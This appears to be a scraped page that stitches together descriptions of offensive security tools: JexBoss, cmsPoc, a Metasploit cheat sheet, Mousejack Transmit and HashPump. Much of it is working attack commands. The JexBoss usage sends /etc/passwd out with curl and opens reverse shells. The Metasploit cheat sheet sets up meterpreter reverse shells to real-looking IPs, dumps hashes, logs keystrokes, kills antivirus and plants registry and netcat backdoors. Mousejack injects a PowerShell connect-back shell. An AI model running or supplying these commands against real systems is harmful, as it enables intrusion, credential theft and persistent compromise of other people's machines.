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JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool - JexBoss

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JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

Requirements

Python >= 2.7.x
urllib3
ipaddress

Installation on Linux\Mac
To install the latest version of JexBoss, please use the following commands:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OR:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

If you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installation on Windows
If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:

Download and install Python
Download and install Git for Windows
After installing, run the Git for Windows and type the following commands:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080

Features
The tool and exploits were developed and tested for:

JBoss Application Server versions: 3, 4, 5 and 6.
Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

/admin-console
- tested and working in JBoss versions 5 and 6
/jmx-console
- tested and working in JBoss versions 4, 5 and 6
/web-console/Invoker
- tested and working in JBoss versions 4, 5 and 6
/invoker/JMXInvokerServlet
- tested and working in JBoss versions 4, 5 and 6
Application Deserialization
- tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
Servlet Deserialization
- tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
Apache Struts2 CVE-2017-5638
- tested in Apache Struts 2 applications
Others

Videos

Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

Exploiting JBoss Application Server with JexBoss

Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

Screenshots

Simple usage examples:

$ python jexboss.py

Example of standalone mode against JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

Usage modes:

$ python jexboss.py -h

Network scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

Network scan with auto-exploit mode:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

Results and recommendations:

Reverse Shell (meterpreter integration)
After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

Example:

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples

For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl [email protected]/etc/passwd http://your_server'

For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

For Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

Auto scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

File scan mode:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

More Options:

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --auto-exploit, -A    Send exploit code automatically (USE ONLY IF YOU HAVE
                        PERMISSION!!!)
  --disable-check-updates, -D
                        Disable two updates checks: 1) Check for updates
                        performed by the webshell in exploited server at
                        http://webshell.jexboss.net/jsp_version.txt and 2)
                        check for updates performed by the jexboss client at
                        http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Operation mode (DEFAULT: standalone)
  --app-unserialize, -j
                        Check for java unserialization vulnerabilities in HTTP
                        parameters (eg. javax.faces.ViewState, oldFormData,
                        etc)
  --servlet-unserialize, -l
                        Check for java unserialization vulnerabilities in
                        Servlets (like Invoker interfaces)
  --jboss               Check only for JBOSS vectors.
  --jenkins             Check only for Jenkins CLI vector.
  --jmxtomcat           Check JMX JmxRemoteLifecycleListener in Tomcat
                        (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
                        checked by default.
  --proxy PROXY, -P PROXY
                        Use a http proxy to connect to the target URL (eg. -P
                        http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Proxy authentication credentials (eg -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        JBoss login and password for exploit admin-console in
                        JBoss 5 and JBoss 6 (default: admin:admin)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 3)

Standalone mode:
  -host HOST, -u HOST   Host address to be checked (eg. -u
                        http://192.168.0.10:8080)

Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Remote host address and port for reverse shell when
                        exploiting Java Deserialization Vulnerabilities in
                        application layer (for now, working only against *nix
                        systems)(eg. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Send specific command to run on target (eg. curl -d
                        @/etc/passwd http://your_server)
  --windows, -w         Specifies that the commands are for rWINDOWS System$
                        (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Specify the parameter to find and inject serialized
                        objects into it. (egs. -H javax.faces.ViewState or -H
                        oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
                        javax.faces.ViewState)
  --show-payload, -t    Print the generated payload.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Specify the type of Gadget to generate the payload
                        automatically. (DEFAULT: commons-collections3.1 or
                        groovy1 for JenKins)
  --load-gadget FILENAME
                        Provide your own gadget from file (a java serialized
                        object in RAW mode)
  --force, -F           Force send java serialized gadgets to URL informed in
                        -u parameter. This will send the payload in multiple
                        formats (eg. RAW, GZIPED and BASE64) and with
                        different Content-Types.

Auto scan mode:
  -network NETWORK      Network to be checked in CIDR format (eg. 10.0.0.0/8)
  -ports PORTS          List of ports separated by commas to be checked for
                        each host (eg. 8080,8443,8888,80,443)
  -results FILENAME     File name to store the auto scan results

File scan mode:
  -file FILENAME_HOSTS  Filename with host list to be scanned (one host per
                        line)
  -out FILENAME_RESULTS
                        File name to store the file scan results

Download JexBoss

A CMS Exploit Framework - cmsPoc

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TYPE	SCRIPT	DESCRIPTION
phpcms	v960_sqlinject_getpasswd	phpcmsv9.6.0 wap模块 sql注入获取passwd
icms	v701_sqlinject_getadmin	icmsv7.0.1 admincp.php sql注入后台任意登陆
discuz	v34_delete_arbitary_files	discuz ≤ v3.4 任意文件删除
beecms	v40_fileupload_getshell	beecms ≤ V4.0_R_20160525 文件上传漏洞

VoIP Penetration Testing and Exploitation Kit - Viproy

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Metasploit Cheatsheet

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Metasploit Cheatsheet

Cheat sheet of Metasploit… Commands are as follows..

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST rmccurdy.com

set LPORT 21

set ExitOnSession false

# set AutoRunScript pathto script you want to autorun after exploit is run

set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

exploit -j -z

# file_autopwn

rm -Rf /tmp/1

mkdir /tmp/1

rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressR…s/nga10_02.pdf

./msfconsole

db_driver sqlite3

db_create pentest11

setg LHOST 75.139.158.51

setg LPORT 21

setg SRVPORT 21

setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf

use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf

set SSL true

set ExitOnSession false

set PAYLOAD windows/meterpreter/reverse_tcp

setg PAYLOAD windows/meterpreter/reverse_tcp

set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

run

# shows all the scripts

run

# persistence! broken …if you use DNS name ..

run persistence -r 75.139.158.51 -p 21 -A -X -i 30

run get_pidgin_creds

idletime

sysinfo

# SYSTEM SHELL ( pick a proc that is run by system )

migrate 376

shell

# session hijack tokens

use incognito

impersonate_token “NT AUTHORITY\\SYSTEM”

# escalate to system

use priv

getsystem

execute -f cmd.exe -H -c -i -t

execute -f cmd.exe -i -t

# list top used apps

run prefetchtool -x 20

# list installed apps

run prefetchtool -p

run get_local_subnets

# find and download files

run search_dwld “%USERPROFILE%\\my documents” passwd

run search_dwld “%USERPROFILE%\\desktop passwd

run search_dwld “%USERPROFILE%\\my documents” office

run search_dwld “%USERPROFILE%\\desktop” office

# alternate

download -r “%USERPROFILE%\\desktop” ~/

download -r “%USERPROFILE%\\my documents” ~/

# alternate to shell not SYSTEM

# execute -f cmd.exe -H -c -i -t

# does some run wmic commands etc

run winenum

# rev shell the hard way

run scheduleme -m 1 -u /tmp/nc.exe -o “-e cmd.exe -L -p 8080”

# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.

run schtasksabuse-dev -t 192.168.1.7 -c “tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe” -d 4

run schtasksabuse -t 192.168.1.7 -c “tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe” -d 4

# vnc / port fwd for linux

run vnc

# priv esc

run kitrap0d

run getgui

# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!

run killav

run winemun

run memdump

run screen_unlock

upload /tmp/system32.exe C:\\windows\\system32\\

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion \\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion \\run -v system32 -d “C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe”

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion \\Run -v system32

reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list

reg setval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v sys

reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v system32

upload /neo/wallpaper1.bmp “C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\”

getuid

getpid

keyscan_start

keyscan_dump

migrate 520

portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80″

portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666

shell

run myremotefileserver_mserver -h

run myremotefileserver_mserver -p 8787

run msf_bind

run msf_bind -p 1975

rev2self

getuid

enumdesktops

grabdesktop

run deploymsf -f framework-3.3-dev.exe

run hashdump

run metsvc

run scraper

run checkvm

run keylogrecorder

run netenum -fl -hl localhostlist.txt -d google.com

run netenum -rl -r 10.192.0.50-10.192.0.254

run netenum -st -d google.com

run netenum -ps -r 10.192.0.50-254

# Windows Login Brute Force Meterpreter Script

run winbf -h

# upload a script or executable and run it

uploadexec

# Using Payload As A Backdoor from a shell

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d “c:\windows\system32\metabkdr.exe” /f

at 19:00 /every:M,T,W,Th,F cmd /c start “%USERPROFILE%\metabkdr.exe”

SCHTASKS /Create /RU “SYSTEM” /SC MINUTE /MO 45 /TN FIREWALL /TR “%USERPROFILE%\metabkdr.exe” /ED 11/11/2011

# kill AV this will not unload it from mem it needs reboot or kill from memory still …

Darkspy, Seem, Icesword GUI can kill the tasks

catchme.exe -K “c:\Program Files\Kaspersky\avp.exe”

catchme.exe -E “c:\Program Files\Kaspersky\avp.exe”

catchme.exe -O “c:\Program Files\Kaspersky\avp.exe” dummy

Offsec

Wireless Mouse/Keyboard Attack With Replay/Transmit PoC - Mousejack Transmit

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This is code extending the mousejack tools https://github.com/RFStorm/mousejack.
Replay/transmit tools have been added to the original tools.
POC packets based on a Logitech Wireless Combo MK220 which consists of a K220 wireless keyboard and an M150 wireless mouse are included in the logs folder.
More details available here https://www.ckn.io/blog/2016/07/09/hijacking-wireless-mice-and-keyboards/

Scanner
Pseudo-promiscuous mode device discovery tool, which sweeps a list of channels and prints out decoded Enhanced Shockburst packets.

usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]

optional arguments:
  -h, --help                          show this help message and exit
  -c N [N ...], --channels N [N ...]  RF channels
  -v, --verbose                       Enable verbose output
  -l, --lna                           Enable the LNA (for CrazyRadio PA dongles)
  -p PREFIX, --prefix PREFIX          Promiscuous mode address prefix
  -d DWELL, --dwell DWELL             Dwell time per channel, in milliseconds

Scan for devices on channels 1-5

./nrf24-scanner.py -c {1..5}

Scan for devices with an address starting in 0xA9 on all channels

./nrf24-scanner.py -p A9

Sniffer
Device following sniffer, which follows a specific nRF24 device as it hops, and prints out decoded Enhanced Shockburst packets from the device. This version has also been modified to log the packets to a log file

usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS -o OUTPUT [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES] 

optional arguments:
  -h, --help                                 show this help message and exit
  -c N [N ...], --channels N [N ...]         RF channels
  -v, --verbose                              Enable verbose output
  -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)
  -a ADDRESS, --address ADDRESS              Address to sniff, following as it changes channels
  -o OUTPUT, --output OUTPUT                 Output file to log the packets
  -t TIMEOUT, --timeout TIMEOUT              Channel timeout, in milliseconds
  -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250
  -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]

Sniff packets from address 8C:D3:0F:3E:B4 on all channels and save them to output.log

./nrf24-sniffer.py -a 8C:D3:0F:3E:B4 -o logs/output.log

Replay/transmit
Replay captured packets or transmit generated ones. It follows a specific nRF24 device as it hops, and sends packets from a log file.

usage: ./nrf24-replay.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS -i INPUT_FILE [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES] 

optional arguments:
  -h, --help                                 show this help message and exit
  -c N [N ...], --channels N [N ...]         RF channels
  -v, --verbose                              Enable verbose output
  -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)
  -a ADDRESS, --address ADDRESS              Address to sniff, following as it changes channels
  -o INPUT_FILE, --input INPUT_FILE          Input file that has the packets to sned
  -t TIMEOUT, --timeout TIMEOUT              Channel timeout, in milliseconds
  -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250
  -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]

Send packets from file keystroke.log to address 8C:D3:0F:3E:B4 on hopping channel

./nrf24-replay.py -a 8C:D3:0F:3E:B4 -i logs/keystroke.log

Network mapper
Star network mapper, which attempts to discover the active addresses in a star network by changing the last byte in the given address, and pinging each of 256 possible addresses on each channel in the channel list.

usage: ./nrf24-network-mapper.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT] [-r RETRIES]

optional arguments:
  -h, --help                                 show this help message and exit
  -c N [N ...], --channels N [N ...]         RF channels
  -v, --verbose                              Enable verbose output
  -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)
  -a ADDRESS, --address ADDRESS              Known address
  -p PASSES, --passes PASSES                 Number of passes (default 2)
  -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250
  -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]

Map the star network that address 61:49:66:82:03 belongs to

./nrf24-network-mapper.py -a 61:49:66:82:03

Continuous tone test
The nRF24LU1+ chips include a test mechanism to transmit a continuous tone, the frequency of which can be verified if you have access to an SDR. There is the potential for frequency offsets between devices to cause unexpected behavior. For instance, one of the SparkFun breakout boards that was tested had a frequency offset of ~300kHz, which caused it to receive packets on two adjacent channels.
This script will cause the transceiver to transmit a tone on the first channel that is passed in.

usage: ./nrf24-continuous-tone-test.py [-h] [-c N [N ...]] [-v] [-l]

optional arguments:
  -h, --help                          show this help message and exit
  -c N [N ...], --channels N [N ...]  RF channels
  -v, --verbose                       Enable verbose output
  -l, --lna                           Enable the LNA (for CrazyRadio PA dongles)

Transmit a continuous tone at 2405MHz

./nrf24-continuous-tone-test.py -c 5

Packet generator script
This uses a dictionary to map keyboard presses to the equivalent packets. It reads stdin input and logs the mapped packets to logs/keystrokes.log. It will accept input until Ctrl+C is pressed.

usage: ./keymapper.py

Log files
The folder logs contains various pre-saved packets for various keyboard operations.
Shell.log is for exploitation of a Windows machine by running a powershell one-liner which connects back to the attacker machine.
The file keys.log serves as a reference where various key presses and combinations are mapped to their equivalent packets.

Demo
A demo of exploiting a Windows machine:

Download Mousejack Transmit

A Tool To Exploit The Hash Length Extension Attack In Various Hashing Algorithms - HashPump

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A tool to exploit the hash length extension attack in various hashing algorithms.
Currently supported algorithms: MD5, SHA1, SHA256, SHA512.

Help Menu

$ hashpump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
    HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
    -h --help          Display this message.
    -t --test          Run tests to verify each algorithm is operating properly.
    -s --signature     The signature from known message.
    -d --data          The data from the known message.
    -a --additional    The information you would like to add to the known message.
    -k --keylength     The length in bytes of the key being used to sign the original message with.
    Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.

Sample Output

$ hashpump -s '6d5f807e23db210bc254a28be2d6759a0f5f5d99' --data 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' -a '&waffle=liege' -k 14
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege

Compile & install

$ git clone https://github.com/bwall/HashPump.git
$ apt-get install g++ libssl-dev
$ cd HashPump
$ make
$ make install

apt-get and make install require root privileges to run correctly. The actual requirement is for -lcrypto, so depending on your operating system, your dependencies may vary.
On OS X HashPump can also be installed using Homebrew:

$ brew install hashpump

Mentions
HashPump has been mentioned in a few write-ups. If you are wondering how you can use HashPump, these are some great examples.

Python Bindings
Fellow Python lovers will be pleased with this addition. Saving me from writing an implementation of all these hash algorithms with the ability to modify states in Python, Python bindings have been added in the form of hashpumpy. This addition comes from zachriggle.

Installation
These Python bindings are available on PyPI and can be installed via pip. pip install hashpumpy

Usage

>>> import hashpumpy
>>> help(hashpumpy.hashpump)
Help on built-in function hashpump in module hashpumpy:

hashpump(...)
    hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)

    Arguments:
        hexdigest(str):      Hex-encoded result of hashing key + original_data.
        original_data(str):  Known data used to get the hash result hexdigest.
        data_to_add(str):    Data to append
        key_length(int):     Length of unknown data prepended to the hash

    Returns:
        A tuple containing the new hex digest and the new message.
>>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))
('e3c4a05f', 'original_datadata_to_add')

Python 3 note
hashpumpy supports Python 3. Different from the Python 2 version, the second value (the new message) in the returned tuple from hashpumpy.hashpump is a bytes-like object instead of a string.

Download HashPump